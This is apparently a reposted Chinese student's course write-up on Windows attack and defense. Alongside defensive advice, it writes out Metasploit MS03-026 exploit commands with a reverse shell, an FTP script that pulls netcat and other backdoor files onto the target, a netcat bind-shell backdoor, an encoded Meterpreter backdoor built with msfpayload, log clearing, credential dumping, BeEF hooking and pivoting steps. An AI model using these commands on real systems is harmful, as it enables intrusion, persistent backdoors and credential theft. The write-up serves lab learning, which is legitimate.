2017-2018-2 20179317 《网络攻防技术》第七周学习心得体会

教材学习内容总结

课本第七章主要围绕windows操作系统安全攻防技术进行讲述,教材中主要涉及的攻击内容如下:

  • Windows操作系统的基本结构

    • 运行于处理器特权模式的操作系统内核
    • 运行在处理器非特权模式的用户空间代码
    • 采用宏内核模式来进行构架
  • Windows操作系统内核的基本模块包括如下

    • Windows执行体
    • Windows内核体
    • 设备驱动程序
    • 硬件抽象层
    • Windows窗口与图形界面接口内核实现代码
  • Windows操作系统在用户态的代码模块则包括如下

    • 系统支持进程
    • 环境子系统服务进程
    • 服务进程
    • 用户应用软件
    • 核心子系统DLL。
  • Windows操作系统内核中实现了如下的核心机制

    • Windows进程和线程管理机制
    • Windows内存管理机制
    • Windows文件管理机制(NTFS)
    • Windows注册表管理机制
    • Windows的网络机制
  • Windows安全体系结构

    • Windows操作系统基于引用监控器模型来实现基本的对象安全模型。
    • Windows身份认证机制
  • Windows授权与访问控制机制

  • Windows安全审计机制 系统审计策略在本地安全策略中由系统管理员定义,来确定系统对那些事件进行记录。

  • Windows的其他安全机制

    • 身份认证
    • 授权与访问控制
    • 安全审计
  • 目前Windows远程攻击技术可以分为以下几大类

    • 远程口令猜测与破解攻击
    • 攻击Windows网络服务
    • 攻击Windows客户端及用户
  • Windows系统的安全漏洞生命周期

  • 使用Metasploit软件实施渗透测试 Metasploit软件采用开发框架和模块组建的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组建的开发与测试提供平台;模块组建是真正实施渗透攻击的代码,包括利用安全漏洞的Exploits模块,进行扫描、查点等其他辅助任务的Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的Encoders模块,以及对攻击负载进行填充的Nops模块;Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,比如自动化的渗透测试例程等等。

  • 使Metasploit Console终端实施渗透测试,只需运行如下命令

    • use exploit/windows/dcerpc/ms03_026_dcom,选择针对MS03_026漏洞的渗透攻击模块。
    • set PAYLOAD generic/shell reverse_tcp,选择该渗透攻击模块适用的攻击负载模块。
    • set LHOST 192.168.200.2;set RHOST 192.168.200.124,配置该渗透攻击模块和攻击负载模块所必须配置的参数。
    • exploit,实施渗透攻击过程。
    • 在远程控制会话中与目标主机进行交互,可能需要执行“sessions -I”列出当前已建立的远程控制会话,并执行“sessions –i数字”在指定的供给控制会话中与远程目标主机进行交互。
  • 远程口令字猜测

  • 远程口令字交换通信窃听与破解

    • 尽量关闭不必要开放的易受远程口令猜测攻击网络服务,包括TCP 139/445端口的SMB服务、TCP135端口的WMI服务、TCP3389端口的TS终端服务以及TCP1433端口的MS SQL Server服务等。
    • 配置主机防火墙来限制对上述端口的服务。
    • 利用网络防火墙来限制到这些服务的访问。
    • 应对远程口令字交换通信窃听与破解攻击最基本的途径是禁用过时而且存在本质上安全缺陷的LanMan与NTLM。
    • 对于安全级别较高的Windows系统服务器等主机,管理员可以制定和实施强口令字策略,此外可以设置账户锁定阈值,最后还可以在系统上激活帐户登录失败事件审计功能。
  • Windows网络服务远程渗透攻击 Windows操作系统默认开放135(TCP)、137(UDP)、138(UDP)、139(TCP)与445(TCP)端口,对应的网络服务为MSRPC远程调用服务、NetBIOS网络基本输入/输出系统服务和SMB文件与打印共享服务。

-针对NetBIOS网络服务的著名漏洞及攻击 NetBIOS网络基本输入输出系统提供了Windows局域网联网的基本支持,包括在UDP137端口上监听的NetBIOS名字服务、UDP138端口上的NetBIOS数据报服务以及TCP139端口上的NetBIOS会话服务。

  • 针对SMB网络服务的著名漏洞及攻击 服务消息块SMB是Windows操作系统中最为复杂,也最容易遭受远程渗透攻击的网络服务。SMB空会话是Windows网络中影响范围最广和时间最长的安全弱点之一。

  • 针对MSRPC网络服务的著名漏洞及攻击 MSRPC网络服务是微软Windows操作系统对DCE-RPC标准远程过程调用机制的实现。远程过程调用机制是现代操作系统最基本的支撑机制之一,允许一个应用程序能够无缝地通过网络调用远程主机上网络进程中的过程,在MSRPC实现中,可以采用如下的网络传输协议:

    • ncacn_ip_tcp:TCP/IP传输协议,使用TCP135端口
    • ncadg_ip_udp:UDP/IP传输协议,使用UDP135端口
    • ncacn_np:SMB命名管道传输协议,使用SMB的TCP139或445端口
    • ncalrpc:本地网络RPC传输
    • ncacn_http:HTTP传输协议,基于IIS服务,缺省配置在TCP593端口。
  • 针对Windows系统上微软网络服务的远程渗透攻击 IIS Internet服务集成了HTTP、FTP、SMTP、POP、NNTP等网络服务,并支持CGI、ASP、ISAPI等动态编程语言与接口,是微软服务器软件提供网站、电子邮件收发和文件共享服务的主要解决方案。MS SQL Server监听TCP1433与UDP1434端口,支持使用Windows用户账号进行身份认证模式。MS SQL Server自建用户身份认证模式,SQL Server数据库服务的登陆账号加密存储与master数据库的syslogins表中,并对用户进行角色管理和授权访问控制,同时提供访问日志功能,整体安全水平能够达到C2级别。

  • 网络服务远程渗透攻击防范措施 针对Windows系统上的各种网络服务远程渗透攻击,最基本的防范措施就是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞,具体包括如下:

    • 从软件设计开发根源上尽可能减少安全漏洞的出现
    • 作为系统的使用者和管理员,应尽可能快地更新与应用软件安全补丁
    • 在安全漏洞从被意外公布和利用到补丁发布的这段“零日”漏洞时间,管理员对安全敏感的服务器应该测试和实施科永的攻击缓解配置
    • 利用服务软件厂商及社区中提供的安全核对清单来对服务进行安全配置
    • 通过漏洞扫描软件来标识网络中存在的以及安全漏洞并及时修补。
  • Windows本地特权提升 从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升,业内简称为“提权”。Windows系统上进行特权提升的共计途径主要是通过DLL注入和破解本地程序安全漏洞。从技术上来说,获得了Administrator权限并不意味着获得了Windows系统的最高权限,Local System账户比Administrator账户的权限更高,比如Administrator不能在系统运行时刻读取SAM位置注册表键值,而Local System却可以。有了Administrator权限,获得Local System权限就很简单了,一种方法是利用Windows的计划任务服务,执行“atXX:XX/INTERACTIVE cmd.exe”打开一个命令Shell,该Shell的权限即为Local System;另一种方法是利用sysinternals的免费工具psexec,它甚至允许以远程方式获得和使用Local System权限。针对本地提权攻击,与网络服务的远程渗透攻击类似,最根本的防范措施就是及时给你的系统打好各种补丁。

  • Windows系统口令字密文提取技术 在本地获取口令字密文的主要包括如下三种途径:

    • 从另一种操作系统启动后拷贝文件系统中的口令密文文件
    • 利用硬盘修复工具包中的rdisk工具,执行“rdisk/s-”命令创建SAM备份文件副本
    • 使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文。
  • LSA Aercrets通常位于HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets子键下,LSA Secrets收录如下信息

    • 某些服务账户的明文口令字
    • 本季系统最近10位用户的口令字密文
    • FTP、Web用户的明文口令字
    • RAS远程访问服务拨号账户的名字和口令字
    • 用来访问域控制器的计算机账户和口令字密文。
  • 用户敏感数据窃取 对于用户在系统中的文件,攻击者可以执行find、findstr、grep等命令行工具来实施查找,此外,攻击者也可能使用键击记录器来对用户键盘输入进行监听,并期望从中搜索用户登陆某些应用软件、网游、金融网站的口令密码。

  • 本地敏感信息窃取防范措施 针对LSA Secrets和其他位置口令字的窃取与破解,目前这种攻击普遍需要攻击者已经具有Administrator的权限,在这种情况下,系统很难防止攻击者获取到这些信息,因此只能通过使用更安全的加密算法保护明文口令字,以及通过安全配置策略避免缓存关键服务器的铭感登陆口令信息,来尽量降低这种攻击造成的安全风险。

  • Windows消踪灭迹

    • 关闭审计功能(Windows Resource Kit工具包里的auditpol程序可以让他们轻易地关闭审计功能)
    • 清理事件日志(使用Event Viewer事件查看器来打开、读取和清除这台主机上的事件日志)
  • Windows远程控制与后门程序 攻击者往往会在受控的系统中自主植入第三方的远程控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具这两大类。Netcat工具是攻击者们最常用的命令行远程控制工具么可以通过“nc-L-d-e cmd.exe-p 80”命令启动后门服务,监听所配置的TCP 80端口,并绑定cmd.exe这个Shell程序,当攻击者使用Netcat作为客户端连接目标主机的80端口时,就可以通过网络直接访问到目标主机上的cmd.exe来执行任意的操作。Meterpreter的设计目标包括如下:

    • 隐蔽性
    • 设计功能强大
    • 灵活可扩展。
  • 针对后门程序的防范措施 针对远程控制后门程序,在一台计算机已经怀疑遭受攻击的Windows系统上,防御者可以采用一些后门检测软件来尝试发现攻击者隐藏的后门程序,常用的检测软件包括反病毒厂商所提供的杀毒软件,以及一些专业的后门及Rootkit检测软件。

教材作业实践

Metasploit实验过程

使用 Nessus 扫描 Windows Metasploitable 靶机

启动 Nessus,创建新的扫描策略。

注意在 Port Scanners 选项里勾上 TCP Scan 选项。其它的选项按照默认的即可。接下来填入靶机 IP,就可以按照扫描策略对靶机进行扫描了。最后一项就是 MS03-026 漏洞。

通过 Metasploit 攻击 MS03-026 漏洞。

获得远程访问权在攻击机上运行Metasploit,可 以 查 找 到 攻 击 漏 洞MS03-026的exploit(windows/dcerpc/ms03_026_dcom)以及一个可用的 payload(generic/shell_reverse_tcp)。其中,该payload的作用是让靶机返回一个命令行。 在攻击机上键入以下命令,对靶机进行攻击。

use windows/dcerpc/ms03_026_dcom
set PAYLOAD generic/shell_reverse_tcp
set RHOST 172.31.4.175 set LHOST 172.31.4.173 exploit 

通过 use 和 set PAYLOAD,设置使用的 exploit 以及 payload。 set RHOST 和 set LHOST 分别为设置靶机 IP 以及攻击机 IP。最后通过 exploit 命令进行攻击。

攻击成功后我们获得了靶机的一个命令行。

编写 FTP 批处理命令,下载本地攻击文件

获得了靶机的命令行后,先在 C 盘创建一个文件夹 hidennc,这是存放后门创建所需文件的文件夹。

mkdir hidennc
cd hidennc

之后通过 echo 和管道,创建 ftp 命令列表,接着使用 ftp 命令执行该命令列表 command.txt,进而达到从特定的 ftp 服务器下载所需文件到靶机的目的。

echo user>command.txt 创建 command.txt,并写入信息 echo visitor mima1234>>command.txt FTP 服务器用户名 visitor 密码 mima1234 echo get nc.exe nc.exe>>command.txt echo get AddReg.bat AddReg.bat>>command.txt echo get root.exe root.exe>>command.txt echo quit>>command.txt ftp -n -s:command.txt 172.31.4.200 执行命令列表 command.txt,下载文件 

exploit执行完上述命令后,可以在 C 盘 hidennc 文件夹下面看到命令列表 command.txt,以及从 FTP 服务器下载的三个文件。 

教材学习中的问题和解决过程

如何彻底彻底防御metasploit渗透攻击

  • 所有下载的系统和服务器软件必须到官方网站下载同时进行md5sha512验证
  • 安装完基本的linux系统.马上进行系统的安全升级.特别是那些重要的通用共享库.一般这个是自动的。
  • 定制精简内核.去除所有无用的驱动.功能.调试模式(除非你是内核调试专家).打上Grsecurity,tomoyo等补丁关于内核版本选择我的建议是以rheldebian的发行版为基准考虑.没有什么必要不要选用通用的主线kernel,漏洞很多。如果为了新功能也要选择大版本号与当前的使用的debian/rhel发行版一样.小版本号必须是最高的内核.这样kapi兼容更好。
  • 最高安全防止所有安全崩溃.请所有的linux内核服务器软件都有两套系统.比如内核一个是最新的linux3.5.3一个是发行版稳定的2.6.32系列.这样可以给我们以切换维护时间。同时不耽误生产.服务器软件比如nginxapache都要部署.
  • 所有服务其软件nginx,mysql等等.必须加入gcc4.7.1-fstack-protect-all选项加强溢出防御.同时如果没有必要请关闭所有的debug调试功能.毕竟程序设计谁也不能保证没有漏洞.除非你不是人!当然内核中也有这个选项.我们一般不开.原因是一般内核的溢出都是本地的多.而且内核被打上那个选项一溢出马上崩溃.本身也是一种不好的行为.还有就是太影响性能.再说内核Grsecurity安全补丁保护.
  • 每个服务器软件必须修改源代码verion.h头文件.伪装软件.把nginx变成apache,或者版本号乱写.这样加大了扫描的难度.还有迷惑那些手动扫描的黑客的.影藏软件的所有无用信息.同时开启内核Grsecuritytcpu序列号随机功能.防止tcp序列号攻击扫描判断!(很强吧对付nmap)
  • 使用精简定制的freebsd-pf防火墙进行syn代理.同时关闭所有无用的端口.只开放80端口.让扫描风险大大降低.同时加入并发控制.一般扫描都要很多连接.超过了就封.
  • 在交换机复制端口.部署IDS系统-snort进行类似7层防火墙一样的应用层匹配扫描.发现扫描溢出攻击.反馈给防火墙进行封锁.淡然如果你们公司很有钱可以使用专业的IDS/IDP或者7层放火墙。
  • 设置nginx,apache的安全模块功能.防止cc攻击。。防止多连接扫描。

kali视频内容实战

Meterpreter实验说明

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。 Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库组成,极大地丰富了攻击方式。其有很多有用的功能。 常用命令:

  • background:将当前会话放置后台
  • load/use:加载模块
  • Interact:切换一个信道
  • migrate:迁移进程
  • run:执行一个已有模块,输入run后按两下teb,会列出所有的已有脚本。
  • Resource:执行一个已有的rc脚本常用的Meterpreter类型为:payload/windows/meterpreter/reverse_tcp针对windows操作系统,反向连接shell,只用起来比较稳定。

步骤

一、生成Meterpreter后门 命令:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.75.132 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe

   

在指定目录,生成exe文件

生成一个后门就要打开一个监听,接收返回的连接,查看需要的参数。需要两个参数LHOST,LPORT。 将生成的文件模仿入侵的过程移动到靶机里。 set LPORT 2333 set LHOST 192.168.75.132 exploit background返回到msf里

BeeF实验流程

对XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。官 1、命令行下启动Beef beef-xss 此时浏览器自动访问此页面:http://127.0.0.1:3000/ui/authentication 使用默认用户名beef与默认密码beef登录:  初始用户名和密码为:beef和beef 左侧为目标的浏览器 2、假设被测试主机由于XSS漏洞请求到 http://192.168.200.152:3000/demos/basic.html  左侧online browsers出现新的选项,其Current Browser中包括浏览器名称、版本、操作系统版本等。 3、HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commands模块,我们可以完成很多任务: 其中,四种颜色分别表示: 该攻击模块可用,但隐蔽性强 该攻击模块可用,但隐蔽性差 该用户模块是否可用还有待验证 该攻击模块不可用 选取MISC下Raw JavaScript模块作为测试用例 执行,查看返回结果,成功则显示  

4、代理Proxy功能 选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。

视频学习中的问题和解决过程

怎样设置跳板机?

在跳板机获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统的漏洞,借助Msf已经得到的Meterpreter后门,可以使后续操作更容易。

解决

1、查看当前网卡、网段信息 先控制一台跳板机,查看相关网卡网段信息 2、添加路由表 run autoroute -s 10.0.0.1 3、开Socks代理 通过使用 auxiliaryver/socks4a模块,创建一个Socks代理,可以作为浏览器,Sqlmp,Namp等使用。 4、通过Background和sessions -i可以自由切换进入Session 5、输入run可以看到Meterpreter上可以做的很多命令 6、获取内网信息run arp_scanner -r 10.0.0.1/24 7、也可上传文件,做端口转发后续测试 8、应用程序/权限维持/Tunnel工具集 9、端口转发 upload lcx.exe c:\

转载于:https://www.cnblogs.com/sunshineisdelicious/p/8907378.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/250444.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PE文件格式详解(二)

0x00 前言 上一篇讲到了PE文件头的中IMAGE_FILE_HEADER结构的第二个结构,今天从IMAGE_FILE_HEADER中第三个结构sizeOfOptionalHeader讲起。这个字段的结构名也叫做IMAGE_OPTIONAL_HEDAER讲起。 0x01 IMAGE_OPTIONAL_HEADER概述 其实这个结构是IMAGE_FILE_HEADER结构…

20165223《Java程序设计》第八周Java学习总结

教材学习内容总结 第12章-JAVA多线程机制 要点 Java中的线程Thread类与线程的创建线程的常用方法线程同步协调同步的线程线程联合GUI线程计时器线程教材学习中的问题和解决过程 1. 进程与线程 程序:静态的代码,应用执行的蓝本进程:程序的一次…

koa --- [MVC实现之五]Model层的实现

说明 上一篇: MVC实现之四这一篇主要介绍: 项目中用到的Sequelize库中的一些方法,参考使用Sequelize连接mysql将Model层加入Mar类中 Service层 还是从业务出发,Service层是调用方,调用方式和Controller层调用Service层一样 class Service {constructor(app) {const { model…

node --- 模拟事件的异步

事件 在前端浏览器最常见的就是页面交互事件本质是发布/订阅设计模式 目标 对象使用add方法订阅事件。使用emit发布消息 订阅事件 添加触发事件的一个唯一字符串,以及对应的处理函数先初始化事件对象 class Event {constructor(){this.events {};} }订阅在订阅事件的时候,…

浅谈PHP面向对象编程(九)

9.0 设计模式 在编写程序时经常会遇到一此典型的问题或需要完成某种特定需求,设计模式就是针对这些问题和需求,在大量的实践中总结和理论化之后优选的代码结构编程风格,以及解决问题的思考方式。 设计模式就像是经典的棋谱。不同的棋局&#…

javascript --- Object.create的阅读

说明 今天阅读koa源码时,遇到Object.create,感觉对这个概念有点生疏,于是打开了MDN进行重新梳理传送门 Object.create() 直接套用官网的栗子 const person {isHuman: false,printIntroduction: function () {console.log(My name is ${this.name}. Am I human? ${this.i…

Annotation 注解

Annotation分为两种,第一种为系统内置注解,第二种为自定义注解。系统内置注解:例如Override,Dprecated自定义注解:定义格式为 【public】 interface Annotation名称{数据类型 变量名称();}其中数据类型和变量自定义,不…

node --- [node接口阅读]cluster的使用

目标 在主进程中完成以下事情: 每隔1秒钟输出,当前请求的数量创建等同于CPU数量的进程对每个进程施加一个处理函数,用于统计请求的数量 在各个CPU的进程中完成以下事情 监听8000端口的请求,并返回最简单的信息发送事件,以触发主进程中施加的事件处理函数 前置知识 process…

docker --- 梳理 Dockerfile docker-compose.yml

docker run -p 80:80 -v $PWD/www:/usr/share/nginx/html nginx 参数说明: 1.docker run nginx: 感觉镜像(images)生成本地的容器 2.-p 80:80: 容器的80端口和本地的80端口的映射 3.-v:将本地的,当前文件夹下的www文件夹映射容器路径为/usr/share/nginx/html的文件夹下 [注:]…

python接口测试框架实战与自动化进阶(三)

python接口测试框架实战与自动化进阶 一、持续集成 1、持续集成环境搭建 1)安装Jenkins 官网下载后直接安装:https://jenkins.io/ 终端直接安装及启动:java -jar jenkins.war 2)Jenkins用于: 持续、自动地构建/测试软件…

配置 --- 将本地项目部署到阿里云上

说明: 项目代码学习地址项目前端使用了nginx代理后端使用express框架使用PM2部署后端使用mongoDB进行持久化nginx、express、PM2、mongoDB等,部署在docker中.项目使用 .sh 文件进行一键式启动 本地启动项目 1.先从github上拉取代码 git clone https://github.com/Lizhhhh/L-n…

layui --- [结构优化]参数优化

待优化的代码如下 以上代码,在至少10个页面中重复应用.如果要修改某个功能,就得在至少10个页面中修改.给后期维护带来了极大的不便.关键是这些信息都是在编程中不需要看见的.放在开始每次都要滑过它,太浪费时间了. [注意代码行数,后期会用到] 参数分类 声明类: 对layui模块引…

mysql带条件查询,联表查询

---恢复内容开始--- 1,用于设定所select出来的数据是否允许出现重复行(完全相同的数据行) all:允许出现——默认不写就是All(允许的)。 distinct:不允许出现——就是所谓的“消除重复行” 2,whe…

day11-元组与字典

1、元组Tuple与列表类似,不同之处在于元组的元素不能修改。 元组使用小括号,列表使用中括号。元组可以查询,可以使用内置函数count、index。但是不能修改、增加、删除(儿子不能,孙子有可能)。name (a,a,b)…

vue问题四:富文本编辑器上传图片

vue使用富文本编辑器上传图片&#xff1a; 我是用的是wangEditor 富文本编辑器 demo:http://www.wangeditor.com/ 1).安装依赖:npm install wangeditor 2).我自己是创建了一个组件这样再用到的时候可以直接调用&#xff08;可能有更简单的方法&#xff09; <template lang&q…

vscode --- 快捷键格式化代码时,分号消失

问题复现 最近在vscode中,格式化代码(快捷键 alt shift F)时,分号会莫名奇妙的消失 对于习惯打分号的我来说,看起来很别扭… 解决方案. 我使用的是prettier这个插件来设置格式化的.安装方法如下: 点击左侧的: 搜索 prettier, 选择 Prettier - Code formatter 安装好了之后…

算法 --- [队列结构]二叉树的层次遍历

思路 使用队列: 初始化的时候,将root, push进队列q中循环队列q,当其中不为空时,取出第一个元素(q.shift),记为r若r.left不为空,将r.left推进q,若r.right不为空,将r.right推进q 记录层次: 4. 初始化设置i 0; 5. 在入队的时候,入队一个对象{r: root, i} 6. 出队时,使用es6的解…

Redis在windows下安装过程(转载)

转载自&#xff08;http://www.cnblogs.com/M-LittleBird/p/5902850.html&#xff09; 一、下载windows版本的Redis 官网以及没有下载地址&#xff0c;只能在github上下载&#xff0c;官网只提供linux版本的下载 官网下载地址&#xff1a;http://redis.io/download github下载地…

C# Socket网络编程精华篇

我们在讲解Socket编程前&#xff0c;先看几个和Socket编程紧密相关的概念&#xff1a; TCP/IP层次模型当然这里我们只讨论重要的四层 01&#xff0c;应用层(Application)&#xff1a;应用层是个很广泛的概念&#xff0c;有一些基本相同的系统级TCP/IP应用以及应用协议&#xff…

javascript --- [虚拟DOM] 初始化 实现

说明 本篇主要说明为什么要使用虚拟DOM技术,以及如何实现简单的虚拟dom您将会学到: 1.原生JS对DOM的操作 2.虚拟DOM的相关概念 3.DIFF算法的基础概念 为什么提出 -> DOM操作慢 我们使用createElement属性来创建一个最常见的div,看看一个最常见的DOM有多少个属性 <scri…